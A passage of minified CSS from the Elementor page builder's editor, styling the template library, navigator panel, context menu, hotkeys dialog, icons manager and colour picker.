.elementor-template-library-order-input:checked.elementor-template-library-order-reverse+.elementor-template-library-order-label:after{content:"\e8ad"}#elementor-template-library-templates-container{display:flex;flex-wrap:wrap;align-items:flex-start}#elementor-template-library-toolbar{display:flex;justify-content:space-between;align-items:center}.elementor-template-library-filter-toolbar{display:flex;align-items:center}#elementor-template-library-filter-toolbar-remote{font-size:11px}#elementor-template-library-order{display:flex;border-inline-end:var(--e-a-border)}.elementor-template-library-order-label{text-transform:uppercase;padding-inline-end:22px;-webkit-user-select:none;-moz-user-select:none;user-select:none}label.elementor-template-library-order-label{cursor:pointer}label.elementor-template-library-order-label:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-filter .select2{text-align:start;width:calc(27px * 5)!important}#elementor-template-library-filter .select2-selection__rendered{text-transform:capitalize}#select2-elementor-template-library-filter-subtype-results .select2-results__option{text-transform:capitalize;text-align:start;padding-inline-start:5px}#elementor-template-library-my-favorites{flex-grow:1;text-align:start;padding-inline-start:20px}#elementor-template-library-filter-my-favorites{display:none}#elementor-template-library-filter-my-favorites:checked+#elementor-template-library-filter-my-favorites-label{color:var(--e-a-color-txt-active)}#elementor-template-library-filter-my-favorites:checked+#elementor-template-library-filter-my-favorites-label i:after{color:var(--e-a-color-primary-bold);content:"\e93f"}#elementor-template-library-filter-my-favorites-label{cursor:pointer;text-transform:uppercase}#elementor-template-library-filter-my-favorites-label:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-filter-my-favorites-label:hover i:after{color:var(--e-a-color-primary-bold)}#elementor-template-library-filter-my-favorites-label i{padding-inline-end:5px}#elementor-template-library-filter-my-favorites-label i:after{content:"\e923"}#elementor-template-library-filter-text-wrapper{width:200px;position:relative}#elementor-template-library-filter-text-wrapper i{position:absolute;top:50%;left:0;transform:translateY(-50%)}#elementor-template-library-filter-text{border:none;border-block-end:var(--e-a-border-bold);border-radius:0;font-size:11px;padding:8px 15px 8px 0;transition:border .5s}#elementor-template-library-filter-text:focus{border-color:var(--e-a-border-color-focus)}#elementor-template-library-filter-text::-moz-placeholder{font-weight:300;text-transform:uppercase}#elementor-template-library-filter-text::placeholder{font-weight:300;text-transform:uppercase}.elementor-template-library-template-remote{margin:calc(30px / 2);padding:8px;border:var(--e-a-border);border-radius:3px}.elementor-template-library-template-remote:hover{background-color:var(--e-a-bg-hover)}.elementor-template-library-template-remote:hover .elementor-template-library-template-name{display:none}.elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-preview{opacity:0}.elementor-template-library-template-remote:not(:hover) .elementor-template-library-favorite,.elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-action{display:none}.elementor-template-library-template-remote.elementor-template-library-pro-template .elementor-template-library-template-body:before{content:var(--elementor-template-library-subscription-plan-label);background-color:var(--e-a-color-accent);color:var(--e-a-color-white);position:absolute;text-transform:uppercase;line-height:1;top:5px;left:5px;padding:3px 5px;font-size:8px;border-radius:2px}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp){position:relative;width:calc(33.333% - 30px);overflow:hidden}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) img{display:block;width:100%}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-footer{position:absolute;width:100%;bottom:0;right:0;padding:10px;background-color:var(--e-a-bg-default);transition:transform .5s}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-name{display:none}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp):not(:hover) .elementor-template-library-template-footer{transform:translateY(100%)}.elementor-template-library-template-remote .elementor-template-library-template-body{position:relative}@media (max-width:1025px){.elementor-template-library-template-remote .elementor-template-library-template-body{height:300px}}.elementor-template-library-template-remote .elementor-template-library-template-screenshot{height:100%;background-size:cover;background-position-x:50%;box-shadow:inset 0 -2px 15px -6px rgba(0,0,0,.07)}.elementor-template-library-template-remote .elementor-template-library-template-preview{position:absolute;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.5);transition:opacity .5s;cursor:pointer}.elementor-template-library-template-remote .elementor-template-library-template-preview i{font-size:20px;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-template-library-template-remote .elementor-template-library-template-footer{display:flex;justify-content:space-between;font-size:11px;line-height:1;height:40px;align-items:center}.elementor-template-library-template-remote .elementor-template-library-template-name{text-align:start;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:5px}.elementor-template-library-template-remote .elementor-template-library-favorite{margin-inline-start:auto}.elementor-template-library-template-remote .elementor-template-library-template-favorite-input{display:none}.elementor-template-library-template-remote .elementor-template-library-template-favorite-input:checked+.elementor-template-library-template-favorite-label i:before{content:"\e93f";color:var(--e-a-color-primary-bold)}.elementor-template-library-template-remote .elementor-template-library-template-favorite-label{font-size:15px;cursor:pointer}.elementor-template-library-template-remote .elementor-template-library-template-favorite-label:hover i{color:var(--e-a-color-primary-bold)}@media (max-width:1439px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(25% - 30px)}}@media (min-width:1440px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(20% - 30px)}}@media (max-width:1025px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(33.333% - 30px)}}.elementor-template-library-template-lp .elementor-template-library-template-body,.elementor-template-library-template-page .elementor-template-library-template-body{height:200px}#elementor-template-library-order-toolbar-local,.elementor-template-library-template-local{display:flex;align-items:center;padding:0 25px;text-align:start}#elementor-template-library-order-toolbar-local{margin-block-start:30px}#elementor-template-library-order-toolbar-local .elementor-template-library-order-label{line-height:1;font-size:10px;font-weight:500}.elementor-template-library-template-local{height:50px;width:100%;margin-block-start:1px;transition:background-color .3s linear}.elementor-template-library-template-local:hover{background-color:var(--e-a-bg-hover)}.elementor-template-library-template-local:first-child{border-start-start-radius:3px;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:0}.elementor-template-library-template-local:last-child{border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:3px}.elementor-template-library-template-local .elementor-template-library-template-name{font-weight:500}.elementor-template-library-template-local .elementor-template-library-template-meta,.elementor-template-library-template-local .elementor-template-library-template-name{padding-inline-end:20px}.elementor-template-library-template-local .elementor-template-library-template-action,.elementor-template-library-template-local .elementor-template-library-template-meta,.elementor-template-library-template-local .elementor-template-library-template-name,.elementor-template-library-template-local .elementor-template-library-template-preview{white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-template-library-template-local .elementor-template-library-template-controls{position:relative;display:flex;align-items:center}.elementor-template-library-template-local .elementor-template-library-template-controls>div{cursor:pointer;transition:color .5s}.elementor-template-library-template-local .elementor-template-library-template-insert i{margin-inline-end:3px}.elementor-template-library-template-local .elementor-template-library-template-control-title{margin-inline-start:6px}.elementor-template-library-template-local .elementor-template-library-template-more .elementor-template-library-template-delete:hover{color:var(--e-a-color-danger)}.elementor-template-library-template-local .elementor-template-library-template-more{display:none;position:absolute;background-color:var(--e-a-bg-default);padding:3px 20px;border-radius:var(--e-a-border-radius);box-shadow:1px 3px 11px rgba(0,0,0,.3);top:100%;left:0;transform:translateX(-65%) translateY(-7px);z-index:1}.elementor-template-library-template-local .elementor-template-library-template-more:before{content:"";position:absolute;border:solid transparent;border-width:8px 4px;border-block-end-color:var(--e-a-color-white);transform:translateY(-100%)}.elementor-template-library-template-local .elementor-template-library-template-more>div{margin:10px 0;font-size:11px}.elementor-template-library-template-local .elementor-template-library-template-more a{color:var(--e-a-color-txt)}.elementor-template-library-template-local .elementor-template-library-template-more-toggle{flex-grow:1;text-align:end}.elementor-template-library-template-local .elementor-template-library-template-more-toggle i{font-size:16px}#elementor-template-library-preview{height:100%;overflow:hidden}#elementor-template-library-preview iframe{height:150%;transform:scale(.666) translateX(25%) translateY(-25%)}@media (max-width:1439px){#elementor-template-library-preview iframe{width:1440px}}@media (min-width:1440px){#elementor-template-library-preview iframe{width:1730px}}.elementor-template-library-blank-icon{font-size:64px;margin-block-start:45px;line-height:1}.elementor-template-library-blank-icon img{width:70px}.elementor-template-library-blank-icon .elementor-template-library-no-results{width:200px}.elementor-template-library-blank-title{font-size:30px;margin-block-start:20px}@media (max-width:1439px){.elementor-template-library-blank-title{font-size:25px}}.elementor-template-library-blank-message{font-size:18px;margin-block-start:15px;font-weight:300}@media (max-width:1439px){.elementor-template-library-blank-message{font-size:16px;margin-block-start:10px}}#elementor-template-library-save-template-form{margin-block-start:40px;display:flex;align-items:center;justify-content:center}#elementor-template-library-save-template-form>*{height:55px;font-size:16px}#elementor-template-library-save-template-name{width:500px;padding-inline-start:25px;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0}#elementor-template-library-save-template-submit{width:150px;border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}#elementor-template-library-import-form{width:95%;padding:60px;border:2px dashed var(--e-a-border-color-bold);margin:35px auto;transition:var(--e-a-transition-hover)}#elementor-template-library-import-form-or{margin-block-start:15px;font-size:18px}#elementor-template-library-import-form-label{margin-block-start:20px;padding:15px 35px;display:inline-block}#elementor-template-library-import-form-input{display:none}#elementor-template-library-import-form.elementor-drag-over{border-color:var(--e-a-color-primary)}#elementor-template-library-import .elementor-template-library-blank-icon{margin-block-start:0}#elementor-template-library-import .elementor-template-library-blank-message{margin-block-start:20px}.e-route-library-connect #elementor-template-library-modal .dialog-message{max-height:95vh;padding:100px 0 0;min-height:550px}#elementor-template-library-connect-logo{font-size:20px}#elementor-template-library-connect__button{display:inline-block;position:relative;z-index:1;margin-block-start:25px;padding:12px 24px;font-size:14px}#elementor-template-library-connect__background-image-left-1{right:22.4%;bottom:-29%;animation:fadeIn 1.5s,slideDown 1.5s,mover 3.5s 1.5s infinite alternate}#elementor-template-library-connect__background-image-left-2{right:46.25%;bottom:-15.5%;animation:fadeIn 3s,slideDown 3s,mover 2s 3s infinite alternate}#elementor-template-library-connect__background-image-right-1{left:37%;bottom:-41%;animation:fadeIn 2.5s,slideDown 2.5s,mover 2s 2.5s infinite alternate}#elementor-template-library-connect__background-image-right-2{left:48%;bottom:-12.5%;animation:fadeIn 1.5s,slideDown 1.5s,mover 1.5s 1.5s infinite alternate}.elementor-template-library-connect__background-image{position:absolute}.elementor-template-library-blank-footer{position:absolute;bottom:70px;left:50%;transform:translateX(-50%);font-style:italic;color:var(--e-a-color-txt-muted)}@media (max-height:700px){.elementor-template-library-blank-footer{display:none}}#elementor-template-library-footer-banner{padding-block-end:45px}#elementor-template-library-footer-banner i{font-size:56px;margin-block-start:40px}#elementor-template-library-footer-banner .elementor-nerd-box-icon{margin-block-start:70px}#elementor-template-library-templates-empty{width:100%;margin-block-start:40px}#elementor-template-library-error-dialog .dialog-message{text-align:start}#elementor-template-library-error-info{margin-block-start:10px}@media (max-width:1439px){.elementor-template-library-local-column-1{width:33%}.elementor-template-library-local-column-2{width:10%}.elementor-template-library-local-column-3,.elementor-template-library-local-column-4{width:15%}.elementor-template-library-local-column-5{width:27%}}@media (min-width:1440px){.elementor-template-library-local-column-1{width:25%}.elementor-template-library-local-column-2,.elementor-template-library-local-column-3,.elementor-template-library-local-column-4{width:17%}.elementor-template-library-local-column-5{width:24%}}@media (max-width:1024px){.elementor-template-library-local-column-3{display:none}.elementor-template-library-local-column-5{width:41%}}.elementor-tags-list{display:none;position:absolute;width:260px;max-height:300px;overflow:auto;padding-block-end:5px;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border:var(--e-a-border);border-radius:3px;z-index:10000}.elementor-tags-list__group-title{font-weight:700;font-size:12px;padding:10px 15px;display:flex;align-items:center}.elementor-tags-list__group-title .eicon-info-circle{padding-inline-end:5px;color:var(--e-a-color-primary-bold);font-size:14px}.elementor-tags-list__item{font-size:10px;padding:6px 15px;cursor:pointer}.elementor-tags-list__item:before{content:">";font-size:8px;padding-inline-end:5px}.elementor-tags-list__item:hover{background-color:var(--e-a-bg-hover)}.elementor-tags-list__teaser{border-block-start:2px solid var(--e-a-border-color);padding-block-start:4px;margin-block-start:4px}.elementor-tags-list__teaser-text{padding:2px 15px 8px;line-height:1.5;font-size:12px}.elementor-tags-list__teaser-link{color:var(--e-a-color-primary-bold);text-decoration:underline;font-style:italic;font-weight:700}.elementor-dynamic-cover{display:flex;align-items:center;width:100%;height:27px;box-sizing:border-box}.elementor-dynamic-cover__title{padding:0 8px;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-dynamic-cover__remove,.elementor-dynamic-cover__settings{cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-dynamic-cover__remove:hover,.elementor-dynamic-cover__settings:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-wysiwyg .elementor-dynamic-cover{margin-block-start:10px}.elementor-tag-settings-popup{position:absolute;width:260px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:var(--e-a-popover-shadow);z-index:1}.elementor-tag-settings-popup:before{content:"";position:absolute;top:-20px;right:5px;border:10px solid transparent;border-block-end-color:var(--e-a-border-color)}.elementor-tag-settings-popup .elementor-control-type-section:first-child{margin:0}.elementor-tag-controls-stack-empty{background-color:var(--e-a-bg-default);padding:10px;font-size:13px;text-align:center}.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-dynamic-switcher{display:inline-flex;align-items:center;justify-content:center;flex-shrink:0;height:27px;cursor:pointer;border:var(--e-a-border-bold);background:var(--e-a-bg-default);border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius);border-end-start-radius:0;transition:var(--e-a-transition-hover)}.elementor-control-dynamic-switcher:hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.elementor-control-dynamic-switcher.e-control-tool{height:20px;border:0}.elementor-control-dynamic-switcher-wrapper{display:flex}.elementor-control-dynamic-switcher .eicon-database{font-size:12px}.elementor-control-dynamic-value .e-global__popover-toggle,.elementor-control-dynamic-value .elementor-control-dynamic-switcher,.elementor-control-dynamic-value .elementor-control-tag-area{display:none}.elementor-context-menu{position:absolute;width:250px;padding:5px 0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-popover-shadow);-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:101}.elementor-context-menu-list,.elementor-context-menu-list__group{display:flex;flex-direction:column}.elementor-context-menu-list__group:not(:last-child){border-block-end:var(--e-a-border)}.elementor-context-menu-list__item{padding:12px 20px;display:flex;gap:16px;cursor:pointer;transition:var(--e-a-transition-hover);align-items:center}.elementor-context-menu-list__item--disabled{cursor:default;opacity:.5;color:var(--e-a-color-disabled)}.elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):focus,.elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-hover)}.elementor-context-menu-list__item__icon{display:none;width:20px}.elementor-context-menu-list__item__title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-context-menu-list__item__shortcut{color:var(--e-a-color-txt-muted)}.elementor-context-menu-list__item__shortcut--link-fullwidth{position:absolute;left:0;top:0;width:100%;height:100%;z-index:2;cursor:pointer}.elementor-context-menu-list__item__shortcut,.elementor-context-menu-list__item__title{font-size:14px;font-style:normal;font-weight:400;line-height:1;position:relative}.elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):focus>*,.elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):hover>*{color:var(--e-global-color-danger)}.elementor-context-menu-list__item.elementor-hidden{display:none}.elementor-context-menu .eicon-pro-icon{color:var(--e-global-color-accent)}#elementor-hotkeys{text-align:start}#elementor-hotkeys__modal .dialog-buttons-wrapper{display:none}#elementor-hotkeys__content{display:flex;justify-content:space-between;gap:70px;padding:20px 30px;width:100%;overflow:hidden}@media (max-width:1024px){#elementor-hotkeys__content{flex-direction:column;gap:20px;padding:20px}}.elementor-hotkeys__col{display:flex;flex-direction:column;gap:20px;width:100%}.elementor-hotkeys__header{font-weight:500}.elementor-hotkeys__item{display:flex;align-items:center;padding:20px 10px}.elementor-hotkeys__item:not(:last-child){border-block-end:var(--e-a-border)}.elementor-hotkeys__item--label{font-size:13px;font-weight:400;flex-grow:1}.elementor-hotkeys__item--shortcut{flex-grow:0;display:flex;gap:27px}@media (max-width:1024px){.elementor-hotkeys__item--shortcut{gap:23px}}.elementor-hotkeys__item--shortcut kbd{position:relative;font-family:unset;background-color:var(--e-a-bg-active);padding:5px 12px;border-radius:var(--e-a-border-radius)}@media (max-width:1024px){.elementor-hotkeys__item--shortcut kbd{padding:4px 9px}}.elementor-hotkeys__item--shortcut kbd:not(:last-of-type):after{content:"+";position:absolute;left:0;width:9px;text-align:center;margin-inline-end:-18px}@media (max-width:1024px){.elementor-hotkeys__item--shortcut kbd:not(:last-of-type):after{margin-inline-end:-16px}}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp).elementor-template-library-template-floating_button{margin-top:0!important;width:calc(25% - 30px)}.ui-resizable-n{top:-5px}.ui-resizable-e{right:-5px}.ui-resizable-s{bottom:-5px}.ui-resizable-w{left:-5px}.ui-resizable-ne{top:-5px;right:-5px}.ui-resizable-nw{top:-5px;left:-5px}.ui-resizable-se{bottom:-5px;right:-5px}.ui-resizable-sw{bottom:-5px;left:-5px}.ui-resizable-n,.ui-resizable-s{left:0;height:10px;width:100%;cursor:ns-resize}.ui-resizable-e,.ui-resizable-w{top:0;height:100%;width:10px;cursor:ew-resize}.ui-resizable-ne,.ui-resizable-nw,.ui-resizable-se,.ui-resizable-sw{height:15px;width:15px}.ui-resizable-nw,.ui-resizable-se{cursor:nwse-resize}.ui-resizable-ne,.ui-resizable-sw{cursor:nesw-resize}.ui-resizable-handle{position:absolute}.ui-resizable-resizing{pointer-events:none}body{--e-editor-navigator-width:240px;--e-editor-navigator-promotion-height:30px}#elementor-navigator{position:fixed;top:100px;width:var(--e-editor-navigator-width);height:50vh;left:30px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:0 2px 20px 0 rgba(0,0,0,.1);-webkit-user-select:none;-moz-user-select:none;user-select:none;overflow:hidden;z-index:100;display:none}body.elementor-navigator-docked #elementor-navigator{top:0;left:0;height:100%}body:not(.elementor-navigator-docked) #elementor-navigator{border-radius:5px}#elementor-navigator__inner{height:100%;display:flex;flex-direction:column}#elementor-navigator__header{display:flex;align-items:stretch;border-block-end:var(--e-a-border);color:var(--e-a-color-txt-accent)}#elementor-navigator__header__title{flex:1;text-align:center;font-size:13px;font-weight:400;padding:10px 0;cursor:move}#elementor-navigator__ai-titles+#elementor-navigator__header__title,iframe+#elementor-navigator__header__title{padding-inline-end:17.5px}#elementor-navigator__ai-titles{width:35px;text-align:center;cursor:pointer;background-color:transparent;border:none;outline:none}#elementor-navigator__ai-titles:hover{color:#e73cf6}#elementor-navigator__close,#elementor-navigator__toggle-all{color:var(--e-a-color-txt);background-color:transparent;border:none;outline:0;padding:10px;cursor:pointer;transition:color .5s}#elementor-navigator__close:hover,#elementor-navigator__toggle-all:hover{color:var(--e-a-color-txt-hover)}#elementor-navigator__close:focus,#elementor-navigator__toggle-all:focus{color:var(--e-a-color-txt-active)}#elementor-navigator__toggle-all{font-size:13px}#elementor-navigator__close{font-size:11px}#elementor-navigator__elements{flex-grow:1;overflow:auto;position:relative}.elementor-navigator-docked #elementor-navigator__elements{height:calc(100% - 35px)}#elementor-navigator__elements .elementor-nerd-box{padding:25px}#elementor-navigator__elements>.elementor-navigator__element-section{border-block-end:var(--e-a-border)}#elementor-navigator__footer{width:100%;text-align:center}#elementor-navigator__footer__resize-bar{border-block-start:var(--e-a-border)}.elementor-navigator-docked #elementor-navigator__footer__resize-bar{display:none}#elementor-navigator__footer__promotion{font-size:12px;padding:4px 17px;font-family:Roboto,sans-serif;color:var(--e-a-bg-logo);min-height:var(--e-editor-navigator-promotion-height);display:flex;justify-content:center;align-items:center}#elementor-navigator__footer__promotion a{color:var(--e-a-color-accent-promotion);margin-inline-start:1px}.elementor-navigator__item{position:relative;display:flex;height:30px;cursor:pointer;transition:padding .5s linear;overflow:hidden}.elementor-navigator__item:focus,.elementor-navigator__item:hover{background-color:var(--e-a-bg-hover)}.elementor-navigator__item:active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-navigator__item[data-locked=true]{cursor:not-allowed}.elementor-navigator__item:not(.elementor-active) .elementor-navigator__element__list-toggle i{transform:rotate(90deg)}.elementor-navigator__item>*{display:flex;align-items:center}.elementor-navigator__item+.elementor-navigator__elements{display:none}.elementor-navigator__elements>.elementor-navigator__element-container:not(:last-child),.elementor-navigator__elements>.elementor-navigator__element-section{border-block-end:var(--e-a-border)}.elementor-navigator__elements .elementor-empty-view{padding:10px}.elementor-navigator__elements .elementor-empty-view__title{margin-inline-start:23px;font-size:10px;font-style:italic}.elementor-navigator__elements .ui-sortable-helper{box-shadow:1px 2px 5px 0 rgba(0,0,0,.1);transform:rotate(4deg);background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent);pointer-events:none}.elementor-navigator__elements .ui-sortable-placeholder{background-color:var(--e-a-bg-hover)}.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view{border-block-start:var(--e-a-border)}.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view+.ui-sortable-placeholder,.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view .elementor-empty-view__title{display:none}.elementor-navigator__element:not(.elementor-navigator__element--has-children) .elementor-navigator__element__list-toggle{visibility:hidden}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item .elementor-navigator__element__toggle{color:var(--e-a-color-txt-default)}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item .elementor-navigator__element__toggle:hover{color:var(--e-a-color-txt-hover)}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item:not(:hover) .elementor-navigator__element__toggle{display:none}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item.elementor-editing{background-color:var(--e-a-bg-active)}.elementor-navigator__element__list-toggle{margin-inline-end:7px;transition:transform .3s}.elementor-navigator__element__element-type{margin-inline-end:8px;font-size:14px}.elementor-navigator__element__title{flex-grow:1;overflow:hidden}.elementor-navigator__element__title__text{white-space:nowrap;-webkit-user-select:text;-moz-user-select:text;user-select:text}.elementor-navigator__element__title__text[contenteditable=true]{outline:none;background-color:var(--e-a-bg-hover);padding:var(--e-admin-border-radius);border:var(--e-a-border)}.elementor-navigator__element__title__text:not([contenteditable=true]){padding:3px 0;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-navigator__element__toggle{position:absolute;left:15px;height:100%;z-index:0;font-size:13px}.elementor-navigator__element__indicators{position:relative;transition:transform .5s;padding-inline-start:5px;z-index:91}.elementor-navigator__element__indicators:not(:hover){transform:translateX(calc(-100% + 8px))}.elementor-navigator__element__indicator{height:100%;width:31px;display:inline-flex;align-items:center;justify-content:center;color:var(--e-a-color-txt);background-color:var(--e-a-bg-default);border-inline-start:var(--e-a-border)}.elementor-navigator__element__indicator:first-child{border-inline-start:3px solid var(--e-a-border-color-accent)}.elementor-editing .elementor-navigator__element__indicator:first-child{border-color:#242729}.elementor-navigator__element__indicator:hover{color:var(--e-a-color-txt-hover)}.elementor-navigator__element--hidden .elementor-navigator__element__title,.elementor-navigator__element--hidden .elementor-navigator__element__toggle{opacity:.5}.elementor-navigator__promotion-text{line-height:18px}.e-notice-bar{position:absolute;width:100%;bottom:0;display:flex;align-items:center;height:40px;color:#fff;background-color:var(--e-a-color-accent);padding:0 25px}.e-notice-bar__message a{text-decoration:underline;color:var(--e-a-color-txt-invert)}.e-notice-bar__message a:hover{color:#d5d8dc}.e-notice-bar__primary_action{margin-inline:12px}.e-notice-bar__primary_action a{background:#fff;border-radius:3px;color:#93003f;padding:4px 10px;font-size:11px}.e-notice-bar__primary_action a:hover{color:#47001e;background:#f1f2f3}.e-notice-bar__secondary_action,.e-notice-bar__secondary_message{font-size:11px}.e-notice-bar__secondary_action{margin-inline:4px}.e-notice-bar__secondary_action a{color:#fff;text-decoration:underline}.e-notice-bar__secondary_action a:hover{color:#f1f2f3}.e-notice-bar__close{cursor:pointer;margin-inline-start:auto}.e-notice-bar__icon{margin-inline-end:8px}.e-notice-bar i{font-size:16px;opacity:.9}.e-notice-bar i:hover{color:#d5d8dc}.e-notice-bar a,.e-notice-bar i{transition:var(--e-a-transition-hover)}body:not(.elementor-device-desktop) #e-notice-bar{display:none}#elementor-fatal-error-dialog .dialog-message a{text-decoration:underline}#elementor-preview-debug-link-text{display:inline-block}#elementor-icons-manager-modal .dialog-message{padding:0;height:700px}#elementor-icons-manager-modal .dialog-content,#elementor-icons-manager__wrapper{display:flex}@media (max-width:479px){#elementor-icons-manager__sidebar{display:none}}#elementor-icons-manager__tab-links{margin-block-start:30px}#elementor-icons-manager__upload{margin:20px 45px;padding-block-start:35px;border-block-start:var(--e-a-border);display:flex;align-items:center;justify-content:space-between}@media (max-width:1439px){#elementor-icons-manager__upload{margin:20px 25px}}#elementor-icons-manager__main{display:flex;flex-direction:column;padding:30px 80px 0}@media (max-width:1439px){#elementor-icons-manager__main{padding:30px 50px 0}}@media (max-width:479px){#elementor-icons-manager__main{width:100%}}#elementor-icons-manager__search{position:relative}#elementor-icons-manager__search input{padding:8px 15px;background-color:transparent}#elementor-icons-manager__search i{position:absolute;top:50%;transform:translateY(-50%);left:15px}#elementor-icons-manager__tab__wrapper{overflow:auto;margin:25px -15px 0;padding:0 15px 15px}#elementor-icons-manager__tab__title{color:var(--e-a-color-txt);font-size:16px;font-weight:500;text-align:start}@media (max-width:479px){#elementor-icons-manager__tab__title{display:none}}#elementor-icons-manager__tab__content{display:grid;grid-template-columns:repeat(7,1fr);grid-gap:20px;margin:20px 0}@media (max-width:1439px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(6,1fr)}}@media (max-width:1024px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(5,1fr)}}@media (max-width:767px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(4,1fr)}}@media (max-width:479px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(3,1fr)}}#elementor-icons-manager__promotion{display:flex;align-items:center;flex-direction:column;padding-block-start:70px}#elementor-icons-manager__promotion__icon{font-size:60px}#elementor-icons-manager__promotion__text{width:300px;font-size:16px;padding-block-start:25px}#elementor-icons-manager__promotion__link{margin-block-start:20px}.elementor-icons-manager__tab-link{padding-block:15px;padding-inline:45px 0;font-size:12px;text-align:start;cursor:pointer;position:relative}.elementor-icons-manager__tab-link i{font-size:20px;padding-inline-end:15px}@media (max-width:1024px){.elementor-icons-manager__tab-link i{display:none}}.elementor-icons-manager__tab-link:hover{background-color:var(--e-a-bg-hover)}.elementor-icons-manager__tab-link.elementor-active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-icons-manager__tab-link.elementor-active:after{content:"";position:absolute;height:100%;width:3px;top:0;right:0;background-color:var(--e-a-border-color-accent)}.elementor-icons-manager__tab__item{position:relative;height:0;padding-block-end:100%;border:var(--e-a-border);border-radius:3px;cursor:pointer;transition:var(--e-a-transition-hover);overflow:hidden}.elementor-icons-manager__tab__item:hover{background-color:var(--e-a-bg-hover)}.elementor-icons-manager__tab__item.elementor-selected{background-color:var(--e-a-bg-active);border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}.elementor-icons-manager__tab__item__content{display:flex;flex-direction:column;align-items:center;width:100%;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);padding:1px}.elementor-icons-manager__tab__item__icon{font-size:25px}.elementor-icons-manager__tab__item__name{font-size:11px;padding:13px 20px 0;max-width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-color-picker__header{display:flex;justify-content:space-between;align-items:center;font-weight:700;padding:10px;box-shadow:0 2px 8px rgba(0,0,0,.1)}.e-color-picker__tools{display:flex}.e-control-color--no-value .pcr-button{background-image:linear-gradient(135deg,transparent 46%,#ff3030 50%,transparent 54%);background-size:cover;background-color:transparent}.pickr{border:var(--e-a-border);height:27px}.pickr .pcr-button{height:100%;width:100%;border-radius:var(--e-a-border-radius)}.pickr .pcr-button:after,.pickr .pcr-button:before{height:12px;width:12px;top:50%;left:50%;transform:translate(-50%,-50%)}.pcr-app{background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);box-shadow:var(--e-a-popover-shadow);font-family:var(--e-a-font-family)}.pcr-app[data-theme=monolith]{padding:0;width:270px}.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-chooser,.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-opacity{height:8px}.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-palette{height:150px}.pcr-app .pcr-selection .pcr-picker{box-shadow:0 0 5px 1px rgba(0,0,0,.2)}.pcr-app .pcr-interaction{padding-block-end:20px}.pcr-app .pcr-interaction input.pcr-result{border:var(--e-a-border);color:var(--e-a-color-txt);border-radius:var(--e-a-border-radius);margin:0;background-color:transparent}.pcr-app .pcr-interaction input.pcr-result:focus{box-shadow:none;border-color:var(--e-a-border-color-bold)}.pcr-app .pcr-interaction 